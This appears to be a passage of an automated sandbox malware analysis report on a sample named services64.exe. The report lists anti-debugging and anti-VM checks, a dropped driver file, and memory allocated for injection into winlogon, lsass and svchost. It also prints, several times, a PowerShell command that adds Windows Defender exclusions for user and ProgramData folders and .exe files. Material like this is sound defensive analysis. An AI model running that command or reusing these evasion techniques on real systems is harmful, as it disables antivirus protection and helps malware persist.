    Source: C:\ProgramData\WindowsServices\WindowsAutHostSpecial instruction interceptor: First address: 7FF74E64C165 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
    Source: C:\ProgramData\WindowsServices\WindowsAutHostSpecial instruction interceptor: First address: 7FF74E64C1AF instructions rdtsc caused by: RDTSC with Trap Flag (TF)
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7084Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2670Jump to behavior
    Source: C:\Windows\System32\winlogon.exeWindow / User API: threadDelayed 9611Jump to behavior
    Source: C:\Windows\System32\winlogon.exeWindow / User API: threadDelayed 388Jump to behavior
    Source: C:\Windows\System32\lsass.exeWindow / User API: threadDelayed 9868Jump to behavior
    Source: C:\Windows\System32\dwm.exeWindow / User API: threadDelayed 9846Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7144
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2478
    Source: C:\Windows\System32\dialer.exeWindow / User API: threadDelayed 1802
    Source: C:\Windows\System32\dialer.exeWindow / User API: threadDelayed 608
    Source: C:\ProgramData\WindowsServices\WindowsAutHostDropped PE file which has not been started: C:\Windows\Temp\ybmcltmshprh.sysJump to dropped file
    Source: C:\Windows\System32\lsass.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_31-22441
    Source: C:\Windows\System32\conhost.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_35-14906
    Source: C:\Windows\System32\sc.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_33-15231
    Source: C:\Windows\System32\svchost.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_36-14869
    Source: C:\Windows\System32\dialer.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_25-480
    Source: C:\Windows\System32\winlogon.exeAPI coverage: 6.8 %
    Source: C:\Windows\System32\lsass.exeAPI coverage: 3.9 %
    Source: C:\Windows\System32\conhost.exeAPI coverage: 4.9 %
    Source: C:\Windows\System32\svchost.exeAPI coverage: 4.9 %
    Source: C:\Windows\System32\svchost.exeAPI coverage: 4.7 %
    Source: C:\Windows\System32\svchost.exeAPI coverage: 5.1 %
    Source: C:\Windows\System32\svchost.exeAPI coverage: 4.9 %
    Source: C:\Windows\System32\svchost.exeAPI coverage: 3.5 %
    Source: C:\Windows\System32\svchost.exeAPI coverage: 4.4 %
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576Thread sleep count: 7084 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576Thread sleep count: 2670 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624Thread sleep time: -4611686018427385s >= -30000sJump to behavior
    Source: C:\Windows\System32\dialer.exe TID: 8140Thread sleep count: 51 > 30Jump to behavior
    Source: C:\Windows\System32\winlogon.exe TID: 2304Thread sleep count: 9611 > 30Jump to behavior
    Source: C:\Windows\System32\winlogon.exe TID: 2304Thread sleep time: -9611000s >= -30000sJump to behavior
    Source: C:\Windows\System32\winlogon.exe TID: 2304Thread sleep count: 388 > 30Jump to behavior
    Source: C:\Windows\System32\winlogon.exe TID: 2304Thread sleep time: -388000s >= -30000sJump to behavior
    Source: C:\Windows\System32\lsass.exe TID: 4080Thread sleep count: 9868 > 30Jump to behavior
    Source: C:\Windows\System32\lsass.exe TID: 4080Thread sleep time: -9868000s >= -30000sJump to behavior
    Source: C:\Windows\System32\svchost.exe TID: 1928Thread sleep count: 277 > 30Jump to behavior
    Source: C:\Windows\System32\svchost.exe TID: 1928Thread sleep time: -277000s >= -30000sJump to behavior
    Source: C:\Windows\System32\dwm.exe TID: 5236Thread sleep count: 9846 > 30Jump to behavior
    Source: C:\Windows\System32\dwm.exe TID: 5236Thread sleep time: -9846000s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5868Thread sleep count: 7144 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1196Thread sleep count: 2478 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6172Thread sleep time: -5534023222112862s >= -30000s
    Source: C:\Windows\System32\svchost.exe TID: 2180Thread sleep count: 251 > 30
    Source: C:\Windows\System32\svchost.exe TID: 2180Thread sleep time: -251000s >= -30000s
    Source: C:\Windows\System32\svchost.exe TID: 5800Thread sleep count: 251 > 30
    Source: C:\Windows\System32\svchost.exe TID: 5800Thread sleep time: -251000s >= -30000s
    Source: C:\Windows\System32\svchost.exe TID: 7540Thread sleep count: 251 > 30
    Source: C:\Windows\System32\svchost.exe TID: 7540Thread sleep time: -251000s >= -30000s
    Source: C:\Windows\System32\svchost.exe TID: 7744Thread sleep count: 245 > 30
    Source: C:\Windows\System32\svchost.exe TID: 7744Thread sleep time: -245000s >= -30000s
    Source: C:\Windows\System32\svchost.exe TID: 8160Thread sleep count: 201 > 30
    Source: C:\Windows\System32\svchost.exe TID: 8160Thread sleep time: -201000s >= -30000s
    Source: C:\Windows\System32\dialer.exe TID: 8004Thread sleep count: 1802 > 30
    Source: C:\Windows\System32\dialer.exe TID: 8004Thread sleep time: -180200s >= -30000s
    Source: C:\Windows\System32\dialer.exe TID: 7216Thread sleep count: 608 > 30
    Source: C:\Windows\System32\dialer.exe TID: 7216Thread sleep time: -60800s >= -30000s
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\dialer.exeLast function: Thread delayed
    Source: C:\Windows\System32\dialer.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\lsass.exeLast function: Thread delayed
    Source: C:\Windows\System32\lsass.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\svchost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC64DCE0 FindFirstFileExW,30_2_00000225DC64DCE0
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6ADCE0 FindFirstFileExW,30_2_00000225DC6ADCE0
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AEDCE0 FindFirstFileExW,31_2_00000202C0AEDCE0
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B4DCE0 FindFirstFileExW,31_2_00000202C0B4DCE0
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C5DCE0 FindFirstFileExW,33_2_000001BCD1C5DCE0
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC54DCE0 FindFirstFileExW,35_2_000001AFBC54DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A66130DCE0 FindFirstFileExW,36_2_000002A66130DCE0
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDDDCE0 FindFirstFileExW,38_2_000002BAAEDDDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879CDCE0 FindFirstFileExW,42_2_0000026A879CDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537ADCE0 FindFirstFileExW,43_2_00000179537ADCE0
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D56DCE0 FindFirstFileExW,44_2_000002295D56DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E6DCE0 FindFirstFileExW,45_2_0000025306E6DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306ECDCE0 FindFirstFileExW,45_2_0000025306ECDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B94DCE0 FindFirstFileExW,53_2_000001845B94DCE0
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicshutdownNT SERVICE
    Source: lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicvssNT SERVICE
    Source: lsass.exe, 0000001F.00000002.3242123112.00000202C0379000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTVMWare
    Source: svchost.exe, 00000035.00000002.3237678926.000001845AC2B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
    Source: svchost.exe, 00000024.00000003.1981429941.000002A660660000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
    Source: svchost.exe, 0000002C.00000002.3235814438.000002295CE00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
    Source: lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicheartbeatNT SERVICE
    Source: dwm.exe, 00000026.00000002.3255074106.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000S
    Source: dwm.exe, 00000026.00000002.3255074106.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
    Source: lsass.exe, 0000001F.00000000.1821300760.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3237591657.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000000.1824949099.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000002.3235343888.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000000.1866520559.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.3253941405.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002C.00000000.1869478403.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.3236324857.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000000.1876474783.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3237906650.000001845AC3F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
    Source: svchost.exe, 00000024.00000002.3235463820.000002A66062A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
    Source: WindowsAutHost.0.drBinary or memory string: N~Vmci
    Source: C:\Windows\System32\dialer.exeAPI call chain: ExitProcess graph end nodegraph_25-413
    Source: C:\Users\user\Desktop\services64.exeSystem information queried: ModuleInformationJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess information queried: ProcessInformationJump to behavior

    Anti Debugging

    barindex
    Hides threads from debuggers
    Source: C:\Users\user\Desktop\services64.exeThread information set: HideFromDebuggerJump to behavior
    Source: C:\Users\user\Desktop\services64.exeThread information set: HideFromDebuggerJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostThread information set: HideFromDebuggerJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostThread information set: HideFromDebuggerJump to behavior
    Tries to detect debuggers (CloseHandle check)
    Source: C:\Users\user\Desktop\services64.exeHandle closed: DEADC0DE
    Source: C:\ProgramData\WindowsServices\WindowsAutHostHandle closed: DEADC0DE
    Source: C:\Users\user\Desktop\services64.exeProcess queried: DebugPortJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess queried: DebugObjectHandleJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess queried: DebugObjectHandleJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess queried: DebugObjectHandleJump to behavior
    Source: C:\Users\user\Desktop\services64.exeProcess queried: DebugPortJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess queried: DebugPortJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess queried: DebugObjectHandleJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess queried: DebugObjectHandleJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess queried: DebugObjectHandleJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess queried: DebugPortJump to behavior
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC647D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,30_2_00000225DC647D90
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,25_2_00000001400017EC
    Source: C:\Users\user\Desktop\services64.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\dialer.exeProcess token adjusted: DebugJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\dialer.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC647D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,30_2_00000225DC647D90
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC64D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,30_2_00000225DC64D2A4
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,30_2_00000225DC6A7D90
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,30_2_00000225DC6AD2A4
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,31_2_00000202C0AED2A4
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AE7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,31_2_00000202C0AE7D90
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B4D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,31_2_00000202C0B4D2A4
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B47D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,31_2_00000202C0B47D90
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C5D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,33_2_000001BCD1C5D2A4
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C57D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,33_2_000001BCD1C57D90
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC547D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,35_2_000001AFBC547D90
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC54D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,35_2_000001AFBC54D2A4
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A66130D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,36_2_000002A66130D2A4
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A661307D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,36_2_000002A661307D90
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDD7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,38_2_000002BAAEDD7D90
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,38_2_000002BAAEDDD2A4
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,42_2_0000026A879CD2A4
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,42_2_0000026A879C7D90
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,43_2_00000179537A7D90
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,43_2_00000179537AD2A4
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D56D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,44_2_000002295D56D2A4
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D567D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,44_2_000002295D567D90
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E6D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,45_2_0000025306E6D2A4
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E67D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,45_2_0000025306E67D90
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306ECD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,45_2_0000025306ECD2A4
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306EC7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,45_2_0000025306EC7D90
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B94D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,53_2_000001845B94D2A4
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B947D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,53_2_000001845B947D90

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Adds a directory exclusion to Windows Defender
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
    Allocates memory in foreign processes
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\winlogon.exe base: 225DC610000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\lsass.exe base: 202C0AB0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2A6612D0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dwm.exe base: 2BAAEDA0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 26A87990000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 17953770000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2295D530000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 253067D0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1845B390000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\winlogon.exe base: 225DC670000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\lsass.exe base: 202C0B10000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2A661330000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\dwm.exe base: 2BAAEE00000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 26A87F40000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 179537D0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2295D590000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 25306E90000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1845B3C0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1D559040000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 241A9E70000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1CD73160000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2824E860000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 21B473C0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2086F9D0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 17183BC0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 23FD3F70000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1D2A4150000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 275BDF30000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1AAC0260000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 203C9F30000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1B5644B0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 1C004F60000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 24E2AB40000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2644ADB0000 protect: page execute and read and write
    Source: C:\Windows\System32\dialer.exeMemory allocated: C:\Windows\System32\spoolsv.exe base: 1990000 protect: page execute and read and write
